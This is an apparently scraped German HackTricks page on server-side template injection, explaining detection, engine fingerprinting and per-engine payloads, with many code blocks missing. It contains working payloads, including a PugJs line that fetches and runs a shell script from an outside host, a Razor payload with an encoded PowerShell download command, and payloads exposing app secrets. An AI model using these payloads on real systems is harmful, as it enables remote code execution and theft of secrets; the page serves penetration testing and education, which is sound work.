SSTI (Server Side Template Injection)
Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F365789996-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FoC7kdpmNTJZIcPU2vQzG%252Fuploads%252Fgit-blob-9b4be1f505608769d43f6dc95da85f837f25b869%252Fimage%2520%28641%29.png%3Falt%3Dmedia&width=768&dpr=4&quality=100&sign=8d82ee51&sv=1)
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
Was ist SSTI (Server-Side Template Injection)
Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Schnipsel mit Jinja demonstriert:
In diesem anfälligen Code wird der name
-Parameter aus der Benutzeranfrage direkt mit der render
-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den name
-Parameter einzufügen, was zu einer serverseitigen Template-Injection führt.
Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:
Der Payload {{bad-stuff-here}}
wird in den Parameter name
injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.
Detection
Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst Fuzzing des Templates ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (${{<%[%'"}}%\
) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:
Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.
Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server es anders verarbeitet als reguläre Daten.
Plaintext-Kontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B.
{{7*7}}
,${7*7}
).Code-Kontext: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel das Ändern von
greeting
inhttp://vulnerable-website.com/?greeting=data.username
, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie ingreeting=data.username}}hello
, das den Benutzernamen zurückgibt.
Identification Phase
Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind ${7/0}
, {{7/0}}
und <%= 7/0 %>
. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine zu bestimmen.
Tools
ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots nutzt.
eine interaktive Tabelle, die die effizientesten Template-Injection-Polyglots sowie die erwarteten Antworten der 44 wichtigsten Template-Engines enthält.
Exploits
Generic
In dieser Wortliste finden Sie definierte Variablen in den Umgebungen einiger der unten genannten Engines:
Java
Java - Grundlegende Injection
Java - Abrufen der Umgebungsvariablen des Systems
Java - Abrufen von /etc/passwd
FreeMarker (Java)
Sie können Ihre Payloads unter https://try.freemarker.apache.org ausprobieren.
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nichts
${foobar}
Freemarker - Sandbox-Umgehung
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
Weitere Informationen
Im FreeMarker-Bereich von https://portswigger.net/research/server-side-template-injection
Velocity (Java)
Mehr Informationen
Im Velocity-Bereich von https://portswigger.net/research/server-side-template-injection
Thymeleaf
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}
, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
SpringEL:
OGNL:
Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird expression inlining für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie [[...]]
oder [(...)]
. Daher könnte eine einfache SSTI-Testlast wie [[${7*7}]]
aussehen.
Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver
implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.
Thymeleaf bietet auch expression preprocessing, bei dem Ausdrücke innerhalb doppelter Unterstriche (__...__
) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:
Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:
Mehr Informationen
Spring Framework (Java)
Filter umgehen
Mehrere Variablen-Ausdrücke können verwendet werden. Wenn ${...}
nicht funktioniert, versuchen Sie #{...}
, *{...}
, @{...}
oder ~{...}
.
Lesen Sie
/etc/passwd
Benutzerdefiniertes Skript zur Payload-Generierung
Mehr Informationen
Spring View Manipulation (Java)
Pebble (Java)
{{ someString.toUPPERCASE() }}
Alte Version von Pebble ( < Version 3.0.9):
Neue Version von Pebble :
Jinjava (Java)
Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter https://github.com/HubSpot/jinjava/ verfügbar ist.
Jinjava - Befehlsausführung
Behoben durch https://github.com/HubSpot/jinjava/pull/230
Weitere Informationen
Hubspot - HuBL (Java)
{% %}
Anweisungsbegrenzer{{ }}
Ausdrucksbegrenzer{# #}
Kommentarbegrenzer{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- Klasse com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das Jinjava-Projekt auf Github.
Mehr Informationen
Ausdruckssprache - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:
JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.
JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.
Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und verwalteten Beans zu ermöglichen, was eine kohärentere Anwendungsstruktur gewährleistet.
Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:
EL - Expression LanguageGroovy (Java)
Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem Bericht.
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
Smarty (PHP)
Mehr Informationen
Im Smarty-Bereich von https://portswigger.net/research/server-side-template-injection
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
Twig - Template-Format
Mehr Informationen
Im Twig und Twig (Sandboxed) Abschnitt von https://portswigger.net/research/server-side-template-injection
Plates (PHP)
Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.
Controller:
Seitenvorlage:
Layout-Vorlage:
Mehr Informationen
PHPlib und HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber auf Pear portiert.
authors.tpl
authors.php
Mehr Informationen
Jade (NodeJS)
Mehr Informationen
Im Jade-Bereich von https://portswigger.net/research/server-side-template-injection
patTemplate (PHP)
patTemplate nicht-kompilierender PHP-Templating-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
Mehr Informationen
Handlebars (NodeJS)
Path Traversal (mehr Informationen hier).
= Fehler
${7*7} = ${7*7}
Nichts
Mehr Informationen
JsRender (NodeJS)
Template | Beschreibung |
Auswerten und Ausgabe rendern | |
Auswerten und HTML-kodierte Ausgabe rendern | |
Kommentar | |
und | Code erlauben (standardmäßig deaktiviert) |
= 49
Client-Seite
Server-Seite
Mehr Informationen
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Beispiel für serverseitiges Rendering
Mehr Informationen
NUNJUCKS (NodeJS)
{{7*7}} = 49
{{foo}} = Keine Ausgabe
#{7*7} = #{7*7}
{{console.log(1)}} = Fehler
Mehr Informationen
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Fehler
Mehr Informationen
Slim (Ruby)
{ 7 * 7 }
Mehr Informationen
Python
Schau dir die folgende Seite an, um Tricks über willkürliche Befehlsausführung, die Sandboxes umgeht in Python zu lernen:
Bypass Python sandboxesTornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Fehler
{{7*'7'}} = 7777777
Mehr Informationen
Jinja2 (Python)
Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert.
{{7*7}} = Fehler
${7*7} = ${7*7}
{{foobar}} Nichts
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Jinja2 - Vorlagenformat
RCE nicht abhängig von __builtins__
:
Weitere Details, wie man Jinja missbrauchen kann:
Jinja2 SSTIAndere Payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
Mehr Informationen
Razor (.Net)
@(2+2) <= Erfolg
@() <= Erfolg
@("{{code}}") <= Erfolg
@ <=Erfolg
@{} <= FEHLER!
@{ <= FEHLER!
@(1+2)
@( //C#Code )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start
Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein Beispiel für eine verwundbare Webanwendung finden Sie unter https://github.com/cnotin/RazorVulnerableApp
Mehr Informationen
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Nichts<%= response.write(date()) %>
= <Datum>
Weitere Informationen
Mojolicious (Perl)
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Fehler
SSTI in GO
Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen:
{{ . }}
: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einemPassword
-Attribut übergeben wird, könnte{{ .Password }}
es offenbaren.{{printf "%s" "ssti" }}
: Sollte den String "ssti" anzeigen.{{html "ssti"}}
,{{js "ssti"}}
: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation hier erkundet werden.
XSS Exploitation
Mit dem text/template
-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das html/template
-Paket die Antwort, um dies zu verhindern (z.B. {{"<script>alert(1)</script>"}}
ergibt <script>alert(1)</script>
). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE Exploitation
Die RCE-Exploitation unterscheidet sich erheblich zwischen html/template
und text/template
. Das text/template
-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was in html/template
nicht gestattet ist. Die Dokumentation für diese Module ist hier für html/template und hier für text/template verfügbar.
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine System
-Methode hat, die Befehle ausführt, kann es wie {{ .System "ls" }}
ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
Mehr Informationen
Weitere Exploits
Überprüfen Sie den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection für weitere Exploits. Außerdem finden Sie interessante Tag-Informationen in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwandte Hilfe
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
Werkzeuge
Brute-Force Erkennungs-Liste
Praxis & Referenzen
![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2Ffiles.gitbook.com%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FelPCTwoecVdnsfjxCZtN%252Fimage.png%3Falt%3Dmedia%26token%3D9ee4ff3e-92dc-471c-abfe-1c25e446a6ed&width=768&dpr=4&quality=100&sign=9c8fe74f&sv=1)
RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated